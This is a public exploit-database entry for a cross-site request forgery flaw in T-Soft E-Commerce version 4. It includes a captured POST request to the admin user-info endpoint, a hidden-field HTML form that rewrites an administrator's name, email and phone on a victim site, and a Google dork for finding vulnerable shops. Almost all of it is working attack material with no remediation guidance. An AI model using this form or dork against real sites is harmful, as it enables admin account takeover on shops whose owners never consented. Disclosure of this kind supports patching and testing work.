Share 
## https://sploitus.com/exploit?id=PACKETSTORM:164207
# Exploit Title: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF)   
# Exploit Author: Alperen Ergel  
# Software Homepage: https://www.tsoft.com.tr/  
# Version : v4  
# Tested on: Kali Linux (2021.4) / xammp  
# Category: WebApp  
# Google Dork: intext:'T-Soft E-Ticaret Sistemleriyle Hazırlanmıştır.'"  
# Date: 2021-08-15  
######## Description ########  
#  
# Attacker can change admin informaiton  
#  
#  
######## Proof of Concept ########  
  
POST /srv/service/admin/updateuserinfo HTTP/1.1  
  
Host: localhost  
  
Cookie: lang=tr; PHPSESSID=f2904b66de6c0e7ac0d4a9707b9f978c; rest1SupportUser=0; countryCode=TR; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; webpush=1; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=  
  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
  
Accept: application/json, text/javascript, */*; q=0.01  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Content-Type: application/x-www-form-urlencoded  
  
X-Requested-With: XMLHttpRequest  
  
Content-Length: 74  
  
Origin: http://localhost  
  
Referer: http://localhost/Y/  
  
Te: trailers  
  
Connection: close  
  
  
  
firstName=Victim&lastName=victim&email=victim%40mail.com&phone=12584368595  
  
  
  
  
####### EXPLOIT ##################  
<html>  
  
<body>  
  
<script>history.pushState('', '', '/')</script>  
  
<form action="victimsite.com/srv/service/admin/updateuserinfo" method="POST">  
  
<input type="hidden" name="firstName" value="[CHANGEHERE]" />  
  
<input type="hidden" name="lastName" value="[CHANGEHERE]" />  
  
<input type="hidden" name="email" value="[CHANGEHERE]" />  
  
<input type="hidden" name="phone" value="[CHANGEHERE]" />  
  
<input type="submit" value="Submit request" />  
  
</form>  
  
</body>  
  
</html>